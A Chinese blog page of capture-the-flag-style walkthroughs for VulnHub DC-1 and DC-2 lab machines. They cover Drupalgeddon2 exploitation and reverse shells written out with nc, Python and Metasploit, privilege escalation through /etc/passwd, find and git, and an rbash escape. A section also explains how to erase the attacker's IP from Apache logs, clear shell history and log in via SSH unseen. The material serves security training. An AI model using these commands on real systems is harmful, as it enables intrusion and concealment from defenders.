//执行完成过后,重新扫描22端口,即可发现ssh服务已经开启,可以访问这个时候再去爆破ssh连接即可chandlerjoeytsudo也不行隐藏文件的查看,第一个和第二个用户没有找到什么找到第三个用户janitor,下面有一个隐藏文件,貌似是一个密码记录添加到刚刚ssh的爆破字典,多了一个新用户SUID文件也没找到什么,试试sudo,之前几个用户都不能用,这个可以sudo -l :查看能使用sudo执行的root文件执行的时候,提示我们有一个 py 文件查看test.py源码这样我们就可以得到一个思路,将一个文件内容(root组用户的信息)追加到 /etc/passwd 文件中,就能提权。此时我们使用 openssh 生成一个带盐的密码,admin查看root用户的结构信息构造如下内容,写入到 /tmp/user.txtadmin:$1$123$Ok9FhQy4YioYZeBPwQgm3/:0:0:admin:/root:/bin/bash可以看到没有新增用户执行这个文件,还是提示没有权限加上sudo,为什么加上sudo就可以了,因为sudo -l中包含了这个文件,所以sudo可以应用到这个文件追加成功(这里红框有错误,后面那个root位置应该是 admin:/root:/bin/bash )su切换用户即可 admin/admin总结本系列常用的命令# nc nc 111.111.111.111 4444 -e /bin/bash nc -lvvp 4444 # python python -c "import pty; pty.spwan('/bin/bash')" # 创建交互式终端 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.254.132",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' # python反弹sehll python -m http.server # 开启一个微型的http服务,通常用于文件传输 # find find / -perm -4000 -print 2>/dev/null # 查找SUID文件 find / -type f -user alice 2>/dev/null # 查找所有alice拥有的文件 find / -type d -user alice 2>/dev/null # 查找所有alice拥有的文件夹 compgen -c # 查找可用命令 # sudo sudo -l # sed sed -i '/192.168.209.1/d' /var/log/apache2/access.log # 这条命令会直接在原文件中删除所有包含`192.168.209.1`的行。`-i`选项表示直接修改文件。/d这里表示清除209段下的所有ip地址日志 # nmap nmap -sS 111.111.111.111 -p- # 全端口SYN扫描 nmap -sSV 111.111.111.111 -p- -O # 全端口SYN扫描,并扫描操作系统,以及每个端口服务的版本信息。 nmap -sP 192.168.209.0/24 # -sP这个选项是用来指定一个主机发现方法。 # whatweb whatweb -v 192.168.209.157 # 找到目标cms的版本和其他信息。 # wpscan wpscan --url http://dc-2/-e u # 枚举当前wordpress中所有可能的用户名 wpscan --url http://dc-2/-U users.txt -P passwd.txt # 使用wpscan爆破wordpress后台密码 # msf run -j # 将会话监听在后台 payload/php/meterpreter/reverse_tcp # php反弹shell的payload # mysql select * from usersG; # 格式化显示的数据,变得好看一点 # searchsploit searchsploit content # 检索指定内容的漏洞 searchsploit -p 编号 # 根据exp编号找到exp所在的位置 # 本系列用到的一些文件 /etc/passwd # 存储用户信息 /var/log/apache2/access.log # apache访问日志文件 /var/log/apache2/error.log # apache错误日志文件 /usr/share/wordlists/rockyou.txt # kali中的强大密码字典 /etc/knockd.conf # knockd(开门)服务的配置文件 /etc/shells # 可用的shell /etc/os-release # 操作系统信息 # sqlmap 略本系列提权方式git提权sudo git help config !/bin/bash 或 !'sh' #完成提权 ## 或者 sudo git -p help !/bin/bash #输入!/bin/bash 即可打开一个用户为root的shellnmap+sudo提权echo "os.execute('/bin/bash')" > /tmp/TF sudo nmap --script=/tmp/TFExim4邮件服务器的本地提权指定版本的exim邮件服务器才会有这个漏洞,利用expKnockd服务的隐藏端口开启漏洞如果存在knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来"敲门",使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来"关门",将端口关闭,不对外监听。进一步提升了服务和系统的安全//配置文件路径默认配置文件是:/etc/knockd.conf利用nmap访问指定端口后,此时就能开启/关闭配置的指定端口服务/etc/passwd提权/etc/passwd文件提权,攻击者需要能够修改该文件,并添加或修改一个用户条目,使其具有root权限。通常直接复制root用户的信息,修改关键信息,比如# root源信息 root:x:0:0:root:/root:/bin/bash # 修改后,x为密码,留x则密码保存在/etc/shadow文件中,不留则就在这个/etc/passwd中 admin:$1$123$Ok9FhQy4YioYZeBPwQgm3/:0:0:admin:/root:/bin/bashrbash逃逸tom@DC-2:~$ export PATH=$PATH:/bin/ # 直接添加环境变量 rbash: PATH: readonly variable # rbash tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a # 把/bin/sh给a $ /bin/bash tom@DC-2:~$ su # 这里修改了BASH_CMDS的值后并不能直接使用su命令 bash: su: command not found tom@DC-2:~$ export PATH=$PATH:/bin/ # 添加环境变量 tom@DC-2:~$ su jerry # su 正常使用 Password: jerry@DC-2:/home/tom$ EXP提权使用searchsploit检索漏洞exp即可find提权find / -exec "/bin/sh" ;往期推荐【渗透测试】linux隐身登录24年6月版本AWVS激活,AWVS漏洞扫描工具安装以及基本使用教程开箱即用!265种windows渗透工具合集--灵兔宝盒【CTF杂项】常见文件文件头、文件尾格式总结及各类文件头SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细
2025年05月18日
932 阅读
0 评论
0 点赞
2025-05-18
DC-1综合靶场渗透从外网打到内网,权限提升,入侵痕迹清除,干货,建议收藏
DC-1综合靶场渗透从外网打到内网,权限提升,入侵痕迹清除,干货,建议收藏前言由于传播、利用本公众泷羽Sec提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号泷羽Sec团队及作者不为此承担任何责任,一旦造成后果请自行承担!本文主要讲解了渗透测试中的完整渗透测试流程,主要包含【信息收集】、【漏洞利用】、【后渗透】、【权限提升】、【痕迹清除】绝对干货,靶场为vulnhub的机器大家可以自行下载。环境准备靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/攻击机:kali,自行准备信息收集开启靶机,切换net/桥接模式nmap探测主机存活80/sP探测nmap的基本使用,以及高级用法文章参考:nmap 192.168.209.0/24 -80 # 这里使用80端口来找存活的web主机也可以使用其他方式# 或者 nmap -sP 192.168.209.0/24 # -sP这个选项是用来指定一个主机发现方法。靶机端口扫描,开放了22、80、111、34471端口nmap 192.168.209.157 -p- -v访问http服务的80端口,进入到web界面,有一个登录sql注入万能密码,也没有sql语句错误的提示,这里就直接绕过sql注入注册一个用户试试,他还要发送邮件,并没有让我们填写密码需要批准之后才能注册用户由于没有登录,dirb不嫩指定cookie扫描,扫到一个robots.txt和web.config没有什么作用访问也没发现什么有用的内容在这里没用,应该是一个api接口还有一些七七八八的就不看了,基本没啥作用的漏洞探测使用whatweb(kali自带)指纹识别,找到目标cms的版本和其他信息whatweb -v 192.168.209.157msf漏洞利用msf漏洞利用神器,直接搜索Drupal这些模块msfconsole search Drupal使用第一个模块试试,显示这个模块的所有payload,都是反弹和正向连接的,没有我们需要的show payloads我们使用第二个模块试试use unix/webapp/drupal_drupalgeddon2 # 或者 use 1 # 然后 show payloads # 显示该模块下的所有payload发现这些东西,和php有关,而且能反弹到我们meterpreter后渗透模块中设置payload为tcp反弹shellset payload payload/php/meterpreter/reverse_tcp当然也可以使用tcp正向连接set payload payload/php/meterpreter/bind_tcp他们的区别正向连接:在msf中通常是指,bind_tcp,定义--攻击机主动发起连接请求,连接到目标靶机特定的一个端口,目标机器也需要开启一个监听端口,比如tcp监听反向连接:在msf中通常是指,reverse_tcp,定义--更常用,通过设置reverse_tcp攻击载荷可以轻松实现反弹,监听只需要在本机开启监听端口。主要区别就是公网和局域网的不同利用,正向连接通常攻击机用在局域网中不能访问外网靶机,反向连接需要两个机器都需要能互相ping这里就使用反向连接来测试如果出现如下错误多半是防火墙端口没有放行就是配置下的本地监听端口使用iptables放行端口 sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT这个时候重新开始攻击即可run getuid后渗透查看系统信息sysinfo获取shellshell上面终端显示的样子不好看,使用python调用系统终端python -c "import pty;pty.spawn('/bin/bash')"这样子就好看多了找到flag1.txt他说下一步要找一个cms的配置文件,一般配置文件都是settings.xxx,这里我们从当前目录模糊查询一下find . -name 'set*'又给了你一个提示What can you do with these credentials?你能用这些凭证做什么?$databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupaldb', 'username' => 'dbuser', 'password' => 'R0ck3t', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', ), ), );那当然是连接本地数据库咯mysql -udbuser -pR0ck3t查看所有数据库切换到这个站点的数据库,并查看有什么表use drupaldb show tables;找到有一个users表里面包含用户名/密码信息select * from users;这样子不好看,那么我们就加一个Gselect * from usersG;不知道是什么加密,文心一言说还加了盐,那么我们只能去找这个hash规则的文件了从当前站点目录查找这个文件,并发现有一个password-hash.sh文件find . -name '*hash*'在此之前查看了很多文件,都没什么用,就执行这个文件吧,看到如下提示那么我们就根据它的提示,传一个密码给他,执行一下生成了一个密码为123456的hash值,这不是和我们数据库中的密码很相像?把他复制下来$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq进入mysqlmysql -udbuser -pR0ck3t修改密码update users set pass='$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq' where name='admin';登录成功了!这里我们就找到了flag3点进去找到这个,提示我们去passwd文件看看提示我们去passwd,找到flag4cat /etc/passwd切换flag4用户下的目录查看这个文件的权限,尝试追加用户提权,但是只能root读写find / -perm -u=s -type f 2>/dev/null # `1>/dev/null`用于丢弃正常输出,而`2>/dev/null`用于丢弃错误输出。使用find提权find / -exec "/bin/bash" -p ;提权成功,找到了最后一个flag痕迹清除观察一下我们刚刚使用过的操作,登录数据库(数据库日志),web请求(阿帕奇日志),msf漏洞利用(kaliweb请求),命令使用(history)1、中间件日志清除对于web请求(阿帕奇日志),msf漏洞利用(kaliweb请求)这两个我们直接清除指定ip的行即可,日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。 find / -name 'access*'查看都有一些什么内容cat /var/log/apache2/access.log筛选自己的主机(192.168.209.1)和攻击机器(192.168.209.151)的请求记录sed -i '/192.168.209.1/d' /var/log/apache2/access.log这条命令会直接在原文件中删除所有包含192.168.209.1的行。-i选项表示直接修改文件。/d这里表示清除209段下的所有ip地址日志cat /var/log/apache2/access.log可以看到连同kali(192.168.209.151)的日志一起清除成功了同理正常请求日志清除了,错误请求日志也要删除吧find / -name 'error*'cat /var/log/apache2/error.log一大堆kali攻击日志同理直接使用sed更改 sed -i '/192.168.209.1/d' /var/log/apache2/error.log清除成功!2、密码还原对于渗透测试中,这里有一个小细节,我们把密码改了,要做到无痕,还得把密码改回去是吧登录数据库mysql -udbuser -pR0ck3tupdate users set pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where name="admin";3、清除数据库日志没有权限查看日志状态show variables like '%log%';general_log是一个记录数据库服务器所接收到的每一条SQL语句的日志文件。 当general_log设置为ON时,MySQL会记录所有客户端发送给服务器的SQL语句到general_log_file指定的文件中。 当general_log设置为OFF时,MySQL不会记录这些SQL语句,从而节省磁盘空间和提高性能。 慢查询日志slow_query_log看图也是关闭的 当 slow_query_log 设置为 ON 时,MySQL 会将执行时间较长的查询记录到慢查询日志文件中,通常这个文件位于数据目录中,文件名可能是 hostname-slow.log。 当 slow_query_log 设置为 OFF 时,MySQL 不会记录慢查询。 找到这两个日志文件路径,看看有没有,很好没有,这一步跳过4、清除命令历史查看自己曾经输入过的命令historyhistory -c # 清除命令历史5、登录日志这里我们使用的是反弹shell,实际上并没有登录,不会增加一条标准的ssh登录日志,这里跳过。6、nmap扫描日志nmap扫描时,如果你指定了输出文件(例如使用-oN选项),确保删除这些文件。清除临时文件,如/tmp,查看是否有nmap相关的临时文件,并将其删除。7、更多我很菜,还有很多东西,这里可能没有讲到,如果还有欠缺,还请留言告知扩展知识隐身登录系统,不会被w、who、last等指令检测到。ssh -T root@192.168.0.1 /bin/bash -i不记录ssh公钥在本地.ssh目录中ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i往期文章推荐:https://mp.weixin.qq.com/mp/homepage?__biz=Mzg2Nzk0NjA4Mg==&hid=2&sn=54cc29945318b7d954c2e04fcd6060cd
2025年05月18日
889 阅读
0 评论
0 点赞
2025-05-18
DC-2综合渗透,rbash逃逸,git提权,wordpress靶场渗透教程
前言由于传播、利用本公众号小羽网安提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号小羽网安及作者不为此承担任何责任,一旦造成后果请自行承担!本文主要讲解了渗透测试中的完整渗透测试流程,主要介绍了【wpscan】、【cewl】、【rbash逃逸】的使用技巧,靶场为vulnhub的机器大家可以自行下载,如果文章哪有不对,还请师傅们留言指出,谢谢您。环境准备靶机下载地址:https://download.vulnhub.com/dc/DC-2.zip攻击机:kali网络:nat模式靶机复现nmap主机发现,192.168.209.166或者使用arp-scan -lnmap -sP 192.168.209.0/24对扫描出的靶机进行全端口扫描nmap -sS -p- 192.168.209.166我访问这个ip的时候,自动跳转到了http://dc-2但是我加上这个ip之后404index.php可以正常访问那么应该就是host文件问题,修改hosts C:WindowsSystem32driversetchosts在行尾添加这一行内容保存之后,再次访问首页,就可以正常访问靶场了Flag1"Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl."大致意思就是你可能需要cewl这款工具看目录扫描结果,这是一个wordpress网站,有一个后台界面wp-adminsql注入万能密码拦截登录响应登录失败还有一些其他的测试方法,比如xss,弱口令都不行,这里我们就要用到cewl这个工具了Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。我们将扫描结果重定向到passwd.txt(就是保存文件或者使用cewl的自带的-m参数)使用wpscan枚举可能的用户名WPScan是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题。一共扫描出来三个用户admin,jerry,tom可以使用此时我们已经有了用户名和密码字典使用wpscan爆破账号密码,指定刚刚我们生成的用户字典users.txt和密码字典passwd.txt爆破成功,结果如下jerry / adipiscing tom / parturient来登录成功在旁边导航栏找到了Pages,即可得到flag2这提示跟没提示一样If you can't exploit WordPress and take a shortcut, there is another way.Hope you found another entry point.文件上传上传一个php文件,被禁止了只能上传图片文件,我找了半天也没找到文件包含漏洞的地方文件后缀爆破,也全部失败了系统渗透换思路我们之前端口扫描的时候有一个7744端口,不知道是什么服务,百度也搜不出来用ssh默认22端口是拒绝服务的,指定一下7744端口的时候既让让我们输入密码,那这个就是ssh服务端口了第一个用户测试失败jerry / adipiscing第二个用户,登录成功tom / parturient命令被限制了'rbash'什么是rbash?它与一般shell的区别在于会限制一些行为,让一些命令无法执行,这里就让我的cat、clear、su等等命令进行了限制查看可用的命令compgen -c滑到最下面,有一个vi命令flag3.txt内容:可怜的老Tom总是追着Jerry跑。也许他应该为自己造成的压力而死。---网易有道Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.我们去/etc/passwd,看看能不能添加一个”root“用户,看样子不行了,你也可以直接查看这个文件的权限,这里我就不掩饰了去home,cd 并不能直接使用,但是有一个 ls直接找到了flag4告诉我们使用git离开这里,应该就是让我们用git提权查看文件所属,是jerry的,这里直接跳过吧,找到就好,没什么作用了我们看看刚刚的flag3.txt,所属用户为tom那么就用它提权试试执行:shell这里直接"提权"成功了但是没什么作用哈,root目录也切换不了查看环境变量rbash逃逸我们通过修改环境变量,之后使用jerry / adipiscing登录tom@DC-2:~$ export PATH=$PATH:/bin/ # 直接添加环境变量 rbash: PATH: readonly variable # rbash tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a # 把/bin/sh给a $ /bin/bash tom@DC-2:~$ su # 这里修改了BASH_CMDS的值后并不能直接使用su命令 bash: su: command not found tom@DC-2:~$ export PATH=$PATH:/bin/ # 添加环境变量 tom@DC-2:~$ su jerry # su 正常使用 Password: jerry@DC-2:/home/tom$ 图解此时我们是jerry权限,还是进不去root查看当前suid可用命令find / -perm -u=s -type f 2>/dev/null这里有一个sudo可以用,rbash逃逸中的必要条件git提权sudo git help config !/bin/bash 或 !'sh' #完成提权 # 或者 sudo git -p help !/bin/bash #输入!/bin/bash 即可打开一个用户为root的shellok完成dc-2靶机总结本文详细介绍了利用Kali Linux对Vulnhub的DC-2靶机进行渗透测试的过程。通过nmap发现靶机及开放端口,利用cewl和wpscan工具生成字典,并成功爆破WordPress后台账号密码。面对rbash限制,通过环境变量修改实现逃逸,并利用git和sudo提权获取root权限。整个流程覆盖了信息收集、漏洞利用、权限提升等多个阶段,展示了全面的渗透测试技巧。往期推荐Love-Yi情侣网站存在sql注入漏洞DC-1综合渗透从外网打到内网,msf后渗透,权限提升,入侵痕迹清除,绝对干货!Linux中Find命令也能提权?提权方式一文通透喜欢长文吗?1w字图文带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透【kali笔记】 Kali Shell编程从基础到进阶
2025年05月18日
955 阅读
0 评论
0 点赞
1
...
15
16